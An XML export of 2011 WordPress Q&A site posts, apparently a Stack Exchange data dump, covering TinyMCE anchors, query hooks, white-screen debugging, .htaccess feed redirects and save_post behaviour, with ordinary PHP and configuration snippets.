  <row Id="19521" PostTypeId="1" AcceptedAnswerId="19523" CreationDate="2011-06-08T15:01:09.487" Score="1" ViewCount="146" Body="&lt;p&gt;Is there any way to create internal anchors without using the HTML rendering option?&#xA;I don't mind but I guess my customer will ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3071" LastActivityDate="2011-06-08T16:42:57.340" Title="Create anchor from Wysiwyg editor" Tags="&lt;links&gt;&lt;wysiwyg&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="19522" PostTypeId="2" ParentId="19516" CreationDate="2011-06-08T15:01:48.737" Score="1" ViewCount="" Body="&lt;p&gt;It should look sth like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$pages = get_pages( array('sort_column' =&amp;gt; 'menu_order') );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2011-06-08T15:01:48.737" />
  <row Id="19523" PostTypeId="2" ParentId="19521" CreationDate="2011-06-08T15:14:39.030" Score="2" ViewCount="" Body="&lt;p&gt;In the &quot;tinyMCE Advanced&quot; plugin has a special icon for that.&#xA;The default WordPress installation don't offer the anchor icon/attribute editor.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2011-06-08T15:14:39.030" CommentCount="1" />
  <row Id="19524" PostTypeId="1" AcceptedAnswerId="19526" CreationDate="2011-06-08T16:19:33.743" Score="0" ViewCount="69" Body="&lt;p&gt;I have 2 custom post types that use some of the same taxonomies. I would like to be able to show all entries in the taxonomy ( no problem here) and then just each of the post types. But I would like to do it without creating a mess of custom pages using a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I set up a function to change the post_type query_var when the link is clicked? SO if I had a set of navigation links in my left sidebar, the set to 'designer' post type would set the post_type query_var to 'designer'. The same would need to happen for the 'boutique' post type navigation links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I may need to use some javascript but am unsure. Is this possible? I'm not an expert by an means but I believe this MIGHT be possible,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx in advance!&lt;/p&gt;&#xA;" OwnerUserId="5391" LastActivityDate="2011-06-08T16:42:47.083" Title="Can I set the post_type query_var as a link is clicked?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19526" PostTypeId="2" ParentId="19524" CreationDate="2011-06-08T16:42:47.083" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;pre_get_posts&lt;/code&gt; filter hook to set the post type passed by the user:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;paste this code in your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function user_set_type( $query ) {&#xA;    //only on your taxonomy page&#xA;    if ( $query-&amp;gt;is_tax('YOUR_CUSTOM_TAXONOMY') ) {&#xA;&#xA;        //and only if the guesst has selected a type&#xA;        if (isset($_GET['UTYPE']) &amp;amp;&amp;amp; !empty($_GET['UTYPE'])){&#xA;            $query-&amp;gt;set( 'post_type', $_GET['UTYPE'] );&#xA;        }&#xA;    }&#xA;    return $query;&#xA;}&#xA;add_filter( 'pre_get_posts', 'user_set_type' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change &lt;code&gt;YOUR_CUSTOM_TAXONOMY&lt;/code&gt; to the name of your taxonomy, then on your taxonomy page  or widgets all  you need to do is create links with the post_type as parameters in them eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink() . '?UTYPE=designer&quot;; ?&amp;gt;&quot;&amp;gt;Designers&amp;lt;/a&amp;gt; - &amp;lt;a href=&quot;&amp;lt;?php echo get_permalink() . '?UTYPE=boutique&quot; ?&amp;gt;&quot;&amp;gt;Boutiques&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-08T16:42:47.083" CommentCount="1" />
  <row Id="19527" PostTypeId="2" ParentId="19521" CreationDate="2011-06-08T16:42:57.340" Score="1" ViewCount="" Body="&lt;p&gt;Here's a simple non-plugin solution, you can paste this into your &lt;code&gt;functions.php&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function set_tinymce_buttons( $initArray ) {&#xA;    $initArray['theme_advanced_buttons1'] ='formatselect,|,bold,italic,underline,|,bullist,numlist,charmap,|,pastetext,pasteword,|,removeformat,|,anchor,link,unlink,|,undo,redo';&#xA;    $initArray['theme_advanced_buttons2'] = '';&#xA;    $initArray['theme_advanced_blockformats'] = 'h2,h3,h4,p';&#xA;    return $initArray;&#xA;}&#xA;add_filter('tiny_mce_before_init', 'set_tinymce_buttons');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With that you can set the two lines of buttons as well as the tags in the &lt;em&gt;Format&lt;/em&gt; dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://tinymce.moxiecode.com/wiki.php/Buttons/controls&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; for options.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-08T16:42:57.340" />
  <row Id="19528" PostTypeId="2" ParentId="16890" CreationDate="2011-06-08T16:51:58.260" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://wordpress.org/extend/plugins/expire-password/&quot; rel=&quot;nofollow&quot;&gt;PassExpire&lt;/a&gt; force all users to change password at next login. Or set it to expires user passwords after 60 (Variable) days and requires a password change on login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This is community wiki answer for this Question (as @tony-zeoli has already answered his own question).&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-06-08T16:51:58.260" CommunityOwnedDate="2011-06-08T16:51:58.260" CommentCount="1" />
  <row Id="19529" PostTypeId="1" CreationDate="2011-06-08T16:55:36.037" Score="0" ViewCount="103" Body="&lt;p&gt;I have this issue, where I can't access the frontend without a blank page anymore. It drives me crazy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The backend seems to be up just fine, but the frontend is white. When trying to chose another theme (twentyten) this one also returns white, already in the preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I possibly do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I get &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Notice: Constant TEMPLATEPATH already defined in /site.com/html/wp-includes/default-constants.php on line 278&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Notice: Constant STYLESHEETPATH already defined in /site.com/html/wp-includes/default-constants.php on line 284&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Warning: Cannot modify header information - headers already sent by (output started at /site.com/html/wp-includes/default-constants.php:278) in /site.com/html/wp-includes/pluggable.php on line 897&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6025" LastEditorUserId="6025" LastEditorDisplayName="" LastEditDate="2011-06-10T11:45:49.053" LastActivityDate="2011-06-11T18:01:18.893" Title="Wordpress Backend Fine, All Themes Return a Blank Page?" Tags="&lt;frontend&gt;&lt;white-screen-of-death&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="19530" PostTypeId="2" ParentId="19206" CreationDate="2011-06-08T16:57:02.540" Score="-1" ViewCount="" Body="&lt;p&gt;DON'T HACK CORE FILES!  There really is an easy way to do the small change you're thinking of doing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ignore my original answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strike&gt;The change I want is so easy that I am &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1564/modifying-wordpress-core-files&quot;&gt;&lt;em&gt;hacking the core files&lt;/em&gt;&lt;/a&gt;.&lt;/strike&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strike&gt;I can simply add &quot;l &quot; to the format string of &lt;code&gt;$post-&amp;gt;post_date&lt;/code&gt; in &lt;code&gt;wp-admin/includes/class-wp-posts-list-table.php&lt;/code&gt; &lt;em&gt;each and every time I update&lt;/em&gt;, until the accumulated number of hours spent making that little change add up to more than figuring out how to do it with a plugin/widget/template/hook and implementing that.&lt;/strike&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not going to accept my answer &lt;strike&gt;for now&lt;/strike&gt;; I &lt;strike&gt;hope someone can still&lt;/strike&gt; thank Milo, who showed me the right way to do it!&lt;/p&gt;&#xA;" OwnerUserId="5922" LastEditorUserId="5922" LastEditorDisplayName="" LastEditDate="2011-06-09T06:34:03.497" LastActivityDate="2011-06-09T06:34:03.497" CommentCount="1" />
  <row Id="19531" PostTypeId="2" ParentId="19529" CreationDate="2011-06-08T16:59:34.593" Score="2" ViewCount="" Body="&lt;p&gt;If you have ftp access to your site, go to the root. There is a line in wp-config.cfg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_DEBUG', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Switch it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_DEBUG', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upon returning to one of the blank pages, you'll notice an error message which can shed some light on what is going wrong. From there you may either correct the issue, or bring that error back here and we can offer more help.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-06-08T16:59:34.593" CommentCount="1" />
  <row Id="19532" PostTypeId="2" ParentId="19435" CreationDate="2011-06-08T17:21:49.380" Score="0" ViewCount="" Body="&lt;p&gt;Thanks to Mike23 for the tip. Here's the code that I'm using to add a column to &lt;em&gt;only&lt;/em&gt; the &quot;customer&quot; role:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( $_GET['role'] == &quot;customer&quot; ) { &#xA;&#xA;add_filter('manage_users_columns', 'add_ecommerce_column');&#xA;add_filter('manage_users_custom_column', 'manage_ecommerce_column', 10, 3);&#xA;&#xA;&#xA;function add_ecommerce_column($columns) {&#xA;        $columns['ecommerce'] = 'Ecommerce';&#xA;    return $columns;&#xA;&#xA;}&#xA;&#xA;function manage_ecommerce_column($empty='', $column_name, $id) {&#xA;    if( $column_name == 'ecommerce' ) {&#xA;        return $column_name.$id;    &#xA;        }&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas or suggestions for improvement are very welcomed.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-06-08T17:21:49.380" CommentCount="2" />
  <row Id="19533" PostTypeId="2" ParentId="19500" CreationDate="2011-06-08T17:35:04.297" Score="0" ViewCount="" Body="&lt;p&gt;Use the oembed_dataparse filter to modify the resulting HTML output by any given oembed call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('oembed_dataparse','test',10,3);&#xA;&#xA;function test($return, $data, $url) {&#xA;    if ($data-&amp;gt;provider_name == 'YouTube') {&#xA;        return &quot;&amp;lt;img src='{$data-&amp;gt;thumbnail_url}'&amp;gt;&quot;;&#xA;    }&#xA;    else return $return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then putting this in a post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[embed]http://www.youtube.com/watch?v=oHg5SJYRHA0[/embed]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will give you a picture of Rick Astley instead of a flash video of him. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Note that WordPress caches oEmbed results in postmeta. So after making your code, you'll have to go and Update a post for it to know to go re-get the oEmbed data and have code like this take effect. In case you want to do testing and such.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-08T17:35:04.297" CommentCount="2" />
  <row Id="19534" PostTypeId="2" ParentId="19470" CreationDate="2011-06-08T18:01:11.133" Score="1" ViewCount="" Body="&lt;p&gt;The redirect_canonical function in /wp-includes/canonical.php is called on any given URL and will attempt to best-guess the URL the user wanted, and redirect them to there, when a URL does not exist. It has a whole huge amount of code to do this for all sorts of common errors.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-08T18:01:11.133" CommentCount="1" />
  <row Id="19535" PostTypeId="2" ParentId="19506" CreationDate="2011-06-08T18:03:10.873" Score="-1" ViewCount="" Body="&lt;p&gt;Just Follow the Link and Retry &lt;a href=&quot;http://wordpress.org/extend/plugins/disqus-comment-system/&quot; rel=&quot;nofollow&quot;&gt;Disqus&lt;/a&gt; Am also Using Disqus but still i didn't receive any problem Antonio.If you are getting Error Means just Inform that.So only we will find your Mistakes and help to Bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vote Up Would be Really Appreciate.. &lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-08T18:03:10.873" CommunityOwnedDate="2011-06-08T18:03:10.873" />
  <row Id="19536" PostTypeId="2" ParentId="19471" CreationDate="2011-06-08T18:04:49.853" Score="1" ViewCount="" Body="&lt;p&gt;Turn off PHP Safe Mode, or get your host to do it for you. Lots and lots of things won't work in safe mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C'mon. Live on the edge. That's where the fun is. :)&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-08T18:04:49.853" />
  <row Id="19537" PostTypeId="1" AcceptedAnswerId="24279" CreationDate="2011-06-08T18:16:20.893" Score="1" ViewCount="155" Body="&lt;p&gt;I am using year/month/post-name permalinks, and also using the download-monitor plugin to handle file downloads. I added rewrite rules to the top of the .htaccess file following the &lt;a href=&quot;http://perishablepress.com/press/2008/03/25/redirect-wordpress-feeds-to-feedburner-via-htaccess-redux/&quot; rel=&quot;nofollow&quot;&gt;instructions at perishable press&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just did this same thing at another blog and it worked just fine. The only differences are that blog did not use the download-monitor and the install was in the root of the domain, instead of a &lt;code&gt;/blog/&lt;/code&gt; sub-directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I comment out this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} ^/?feed.* [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works. I am simply curious as to why would this line be in the instructions if it doesn't work? Does it have something to do with the sub-directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.htaccess:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# temp redirect all wordpress feeds to feedburner&#xA;# from http://perishablepress.com/press/2008/03/25/redirect-wordpress-feeds-to-feedburner-via-htaccess-redux/&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine on&#xA;RewriteBase /blog/&#xA;RewriteCond %{REQUEST_URI} ^/?feed.* [NC]&#xA;RewriteCond %{HTTP_USER_AGENT} !^.*(FeedBurner|FeedValidator) [NC] &#xA;RewriteRule ^feed/?.*$ http://feeds.feedburner.com/mysite [L,NC,R=302]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# BEGIN WordPress&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine on&#xA;RewriteBase /blog/&#xA;RewriteRule ^download/([^/]+)$ http://www.mysite.com/blog/wp-content/plugins/download-monitor/download.php?id=$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /blog/&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /blog/index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="300" LastEditorUserId="300" LastEditorDisplayName="" LastEditDate="2011-08-02T04:59:14.887" LastActivityDate="2011-08-03T17:15:23.777" Title="Issue with using .htaccess to redirect feedburner feed" Tags="&lt;url-rewriting&gt;&lt;htaccess&gt;&lt;feedburner&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19538" PostTypeId="1" AcceptedAnswerId="19539" CreationDate="2011-06-08T18:31:22.267" Score="0" ViewCount="220" Body="&lt;p&gt;I'm surprised by the fact that my function that I've tacked onto the save_post action fires when I click the &quot;New Post&quot; link in the Admin Dashboard. Note - this is before I've pressed Save or Update, and it fires immediately, not after an elapsed time or auto-update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, when I then type in something and press the &quot;Publish&quot; or &quot;Update&quot; or &quot;Save Draft&quot; buttons, the echo statement I've put inside my action handler does not echo out, so it appears that the action is NOT firing at any other time. This may be unrelated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'MyNS\save_event_metabox', 10, 2);&#xA;function save_event_metabox($post_id, $post){&#xA;  echo &quot;&amp;lt;h1&amp;gt;YES!&amp;lt;/h1&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This YES echoes (at the top of the page) when I press the &quot;New Post&quot; link but does NOT echo when I type something and then press &quot;Update&quot; or &quot;Publish Post&quot; or &quot;Save Draft&quot;. This seems to contradict the documentation on the save_post action and the wp_insert_post() function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone clear this up for me?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-06-08T19:07:53.143" Title="Why does save_post action fire when creating a new post?" Tags="&lt;actions&gt;&lt;save-post&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19539" PostTypeId="2" ParentId="19538" CreationDate="2011-06-08T18:58:38.317" Score="2" ViewCount="" Body="&lt;p&gt;When you click 'New Post', you're simply loading the page &lt;code&gt;wp-admin/post-new.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In doing so, WordPress will always create a new post (an 'Auto Draft') to ensure all other features (such as media uploads) and plugins work as normal, even before &lt;em&gt;you&lt;/em&gt; actually save a draft or publish the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this, in turn, triggers &lt;code&gt;save_post&lt;/code&gt;. Hence your echo.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Okay, so why don't I get an echo when updating or publishing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In between saving and the following page load, WordPress is actually sending a &lt;code&gt;GET&lt;/code&gt; redirect back to the same page, which appears transparent (you can witness this with an HTTP monitor, such as &lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/httpfox/&quot; rel=&quot;nofollow&quot;&gt;HttpFox&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You click &lt;code&gt;Update&lt;/code&gt; or &lt;code&gt;Publish&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Browser sends data to server&lt;/li&gt;&#xA;&lt;li&gt;WordPress handles it, and in the process triggers &lt;code&gt;save_post&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;WordPress sends back a redirection header, and exits, before any browser output occurs (including your echo)*&lt;/li&gt;&#xA;&lt;li&gt;Browser follows redirection and loads 'edit post' page.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The redirect might seem unnecessary (since you could just &lt;code&gt;POST&lt;/code&gt; to the same page), but it's part of a technique known as &lt;a href=&quot;http://en.wikipedia.org/wiki/Post/Redirect/Get&quot; rel=&quot;nofollow&quot;&gt;Post/Redirect/Get&lt;/a&gt; in avoiding &lt;a href=&quot;http://stackoverflow.com/questions/4615813/preventing-duplicate-form-submissions/4620247#4620247&quot;&gt;duplicate form submissions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're attempting to print out custom messages based on a result of a function hooked to &lt;code&gt;save_post&lt;/code&gt;, check out &lt;a href=&quot;http://wordpress.stackexchange.com/search?q=custom%20messages&quot;&gt;some of the answers already here on WA&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Not strictly true, your echo will in fact occur before the redirect header is sent, but the browser will either discard it, or things happen so quickly it never renders.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-08T19:07:53.143" LastActivityDate="2011-06-08T19:07:53.143" CommentCount="3" />
  <row Id="19540" PostTypeId="1" AcceptedAnswerId="19548" CreationDate="2011-06-08T19:23:52.310" Score="0" ViewCount="101" Body="&lt;p&gt;I'm creating a form in a blog for users to register their emails so I can send a newsletter later but I don't want to use any newsletter plugin for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to save the emails and than export them to something else like excel or a cvs file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any plugin or any other solution to do that?&lt;/p&gt;&#xA;" OwnerUserId="6006" LastActivityDate="2011-06-08T21:45:40.127" Title="Saving data to database and exporting to excel" Tags="&lt;database&gt;&lt;forms&gt;&lt;export&gt;" AnswerCount="1" />
  <row Id="19541" PostTypeId="1" CreationDate="2011-06-08T19:30:48.993" Score="0" ViewCount="116" Body="&lt;p&gt;I'm trying out the &lt;a href=&quot;http://wordpress.org/extend/plugins/advanced-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;Advanced Custom Fields&lt;/a&gt; plugin and so far it is great (especially the GUI, compared to other plugins of that kind ie. &lt;em&gt;Custom Field Template&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm wondering how I can populate custom fields with data from within a script. Currently the &lt;a href=&quot;http://plugins.elliotcondon.com/advanced-custom-fields/api/&quot; rel=&quot;nofollow&quot;&gt;API&lt;/a&gt; seems to allow only getting the data, not setting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm especially interested in populating a &quot;&lt;em&gt;&lt;a href=&quot;http://plugins.elliotcondon.com/advanced-custom-fields/field-types/#part-12&quot; rel=&quot;nofollow&quot;&gt;repeater&lt;/a&gt;&lt;/em&gt;&quot; field with an array of data.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-08T19:30:48.993" Title="How to set fields data with the Advanced Custom Fields plugin?" Tags="&lt;plugins&gt;&lt;custom-field&gt;&lt;template&gt;" CommentCount="6" />
  <row Id="19542" PostTypeId="1" AcceptedAnswerId="19592" CreationDate="2011-06-08T19:43:50.103" Score="0" ViewCount="76" Body="&lt;p&gt;I have created a custom post type in a plugin for a site I'm working on. I'm allowing users assigned a custom role to add/edit/delete the custom post type. I would like to give these users as little functionality as possible in the admin beyond posting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've used &lt;code&gt;remove_meta_box&lt;/code&gt; to remove a few panels on the conversation post edit screen for these users via a plugin. One of the meta boxes I've disabled is commentsstatusdiv which includes the form elements for comment status and trackbacks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that if the comments status form element is missing, the &lt;code&gt;comment_status&lt;/code&gt; field gets set to off. I'd like to default comments on for the post type and prevent users in this role from changing the comments setting. But when the users save the post comment status is set to off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can force a setting with the &lt;code&gt;wp_insert_post_data&lt;/code&gt; filter. But I don't want to override for admins. I'd like admins to have control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I force comments status to be on by default and prevent users of a specific role from changing it while still allowing admins to turn them on/off?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-06-09T12:53:25.047" Title="Enable comments for post with comments meta box removed" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;posts&gt;&lt;roles&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="19543" PostTypeId="1" CreationDate="2011-06-08T20:21:39.390" Score="-1" ViewCount="58" Body="&lt;p&gt;I'm trying to choose a new hosting service for a WordPress blog, I've stumbled upon several services and most of them look good, so I was trying to find reviews from current user to see what they have to say, is there any website where I can find people's thoughts on the different web hosting companies / services?.&lt;/p&gt;&#xA;" OwnerUserId="5482" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-06-09T19:18:46.050" LastActivityDate="2011-06-09T19:24:35.163" Title="Where can I find web hosting reviews?" Tags="&lt;server&gt;&lt;hosting&gt;" AnswerCount="2" />
  <row Id="19544" PostTypeId="1" AcceptedAnswerId="25506" CreationDate="2011-06-08T20:43:31.197" Score="1" ViewCount="52" Body="&lt;p&gt;My group does not have command line access to the machine that is running our WordPress instance. However, we would still like to install/update using Subversion. Is this possible? Also, does Subversion need to be on the same machine?&lt;/p&gt;&#xA;" OwnerUserId="6031" LastActivityDate="2011-08-10T05:22:30.273" Title="Do you have to have command line access to use Subversion with Wordpress?" Tags="&lt;subversion&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="19545" PostTypeId="1" CreationDate="2011-06-08T21:00:24.203" Score="0" ViewCount="45" Body="&lt;p&gt;I found this solution to add a %post_tag% to the permalink-structure:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/7004/tag-in-permalink-not-working/7132#7132&quot;&gt;%tag% in permalink not working&lt;/a&gt; and it works great. But I also need a similar solution for custom_post_types. Is there a way to also use a %post_tag% for permalink in custom_post_types? I don't want to use custom_taxonomies, only already used tags from posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your ideas!&lt;/p&gt;&#xA;" OwnerUserId="5978" LastActivityDate="2011-06-08T21:00:24.203" Title="%post_tag% in permalink for a custom_post_type" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;tags&gt;" />
  <row Id="19546" PostTypeId="1" CreationDate="2011-06-08T21:19:45.247" Score="0" ViewCount="75" Body="&lt;p&gt;I installed &quot;registered users only&quot; plugin which works perfectly... BUT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if I type in url for some of my attachemnts /wp-content/uploads/2011/.... I can easily download everything even if I'm not logged in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I redirect users to login page if they try to download my content directly?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditorDisplayName="" LastEditDate="2011-06-08T21:24:58.990" LastActivityDate="2011-06-09T09:07:58.540" Title="How to protect my blog?" Tags="&lt;private&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" />
  <row Id="19547" PostTypeId="2" ParentId="13872" CreationDate="2011-06-08T21:36:14.187" Score="1" ViewCount="" Body="&lt;p&gt;You may use hot-linking protection using your webserver of choice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this StackOverflow answer:&lt;br&gt;&#xA;&lt;a href=&quot;http://stackoverflow.com/questions/1775582/apache-hotlink-protection-for-download-folder&quot;&gt;http://stackoverflow.com/questions/1775582/apache-hotlink-protection-for-download-folder&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is using apache2 .htaccess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you are denying the download, if the user is non coming from a page of your blog!&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-06-08T21:36:14.187" CommentCount="1" />
  <row Id="19548" PostTypeId="2" ParentId="19540" CreationDate="2011-06-08T21:45:40.127" Score="0" ViewCount="" Body="&lt;p&gt;You have some options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;a href=&quot;http://www.deliciousdays.com/cforms-plugin/&quot; rel=&quot;nofollow&quot; title=&quot;cforms&quot;&gt;cformsII&lt;/a&gt; plugin, with tracking enabled&lt;/li&gt;&#xA;&lt;li&gt;the &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot; title=&quot;CF7&quot;&gt;Contact Form 7&lt;/a&gt;, plus the Contact Form 7 to Database Extension&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;other may be suitable as well!&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-06-08T21:45:40.127" CommentCount="2" />
